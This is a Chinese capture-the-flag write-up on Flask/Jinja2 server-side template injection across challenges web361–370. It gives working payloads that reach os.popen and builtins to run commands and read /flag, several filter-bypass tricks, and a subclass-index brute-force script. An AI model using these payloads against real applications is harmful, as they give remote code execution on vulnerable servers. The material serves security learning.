ssti
前置知识
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}} current_app 应用上下文,一个全局变量。
request 可以用于获取字符串来绕过
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
web361
GET输入?name={{7*7}}
说明注入点是?name
如何得到payload?
1、先找基类object,用空字符串""来找
- 在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
使用?name={{"".class}},得到空字符串的类<class 'str'>
-
点号. :python中用来访问变量的属性
-
class:类的一个内置属性,表示实例对象空字符串""的类。
然后使用?name={{"".class.mro}},得到(<class 'tuple'>, <class 'object'>)
- mro method resolution order,即解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
然后再用?name={{().class.mro[-1]}},取得最后一个东西即空字符串的类的基类<class 'object'>
或者使用?name={{"".class.bases}},得到空字符串的类的基类<class 'object'>
- base 类型对象的直接基类
- bases 类型对象的全部基类,以元组形式,类型的实例通常没有属性 bases
2、得到基类之后,找到这个基类的子类集合
使用?name={{().class.mro[1].subclasses()}}
- subclasses() 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
3、找到其所有子类集合之后找一个我们能够使用的类,要求是这个类的某个方法能够被我们用于执行、找到flag
这里使用其第133个类([0]是第一个类)<class 'os._wrap_close'>
使用?name={{"".class.mro[-1].subclasses()[132]}},得到<class 'os._wrap_close'>
- <class 'os._wrap_close'> 这个类有个popen方法可以执行系统命令
4、实例化我们找到的类对象
使用?name={{"".class.mro[-1].subclasses()[132].init}},实例化这个类
- init 初始化类,返回的类型是function
5、找到这个实例化对象的所有方法
使用?name={{"".class.mro[-1].subclasses()[132].init.globals}}
- globals 使用方式是 function.globals获取function所处空间下可使用的module、方法以及所有变量。
6、根据方法寻找flag
?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
- popen()一个方法,用于执行命令
- read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象
用脚本寻找os._wrap_close类的序号:
import requests
from tqdm import tqdm
for i in tqdm(range(233)):
url = 'http://fc27e51f-8e3f-4c70-98eb-d6a92558455e.challenge.ctf.show/?name={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i)
web362
过滤了一些字符:2、3
可以用全角数字代替正常数字,下面是转换脚本:
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)
尝试将上题的payload中的数字换成全角数字,成功
payload:
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
或
GET:?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
或者
?name={{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}
得到__builtin__的另一个方法
?name={{x.__init__.__globals__['__builtins__']}}
//这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__然后用eval就可以了。
web363
过滤了单双引号,可以用request来绕过
payload:
GET:?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()
相当于
?name={{x.__init__.__globals__['__builtins__'].eval('__import__('os').popen('cat /flag').read()')}}
把在引号里面的东西逃逸出去
web364
get、post都不行,尝试一下cookie
过滤了引号和args
GET:?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
或
GET:?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os;b=popen;c=cat /flag
web365
过滤了引号,还有中括号,但request.cookies仍然可以用
GET:?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
web366
在之前的基础上又ban了下划线_,如果拿request绕过获取属性的话,用lipsum.(request.values.b)是会500的;中括号被ban了,getattribute也用不了的话,就用falsk自带的过滤器attr:
GET:?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie:a=__globals__;b=cat /flag
attr用于获取变量
""|attr("__class__")
相当于
"".__class__
常见于点号(.)被过滤,或者点号(.)和中括号([])都被过滤的情况。
web367
过滤了单双引号、args、中括号[]、下划线、os
payload:
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
web368
过滤单双引号、args、中括号[]、下划线、os、{{
只过滤了两个左括号,没有过滤 {%
payload:?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag
web369
经测试ban掉了request
{%%}执行代码、拼接字符赋值给变量
payload:
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
解释:
{% set po=dict(po=a,p=a)|join%} #通过dict()和join构造pop
{% set a=(()|select|string|list)|attr(po)(24)%} #a等价于下划线
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%} #通过拼接得到__init__
#glo、geti、built同理
#再往后,调用chr,构造/flag,读取文件
web370
又过滤了数字,可以用全角数字
求全角数字脚本
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
while 1:
t = ''
s = input("输入想要转换的数字字符串:")
for i in s:
t += half2full(i)
print(t)
paylaod:
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}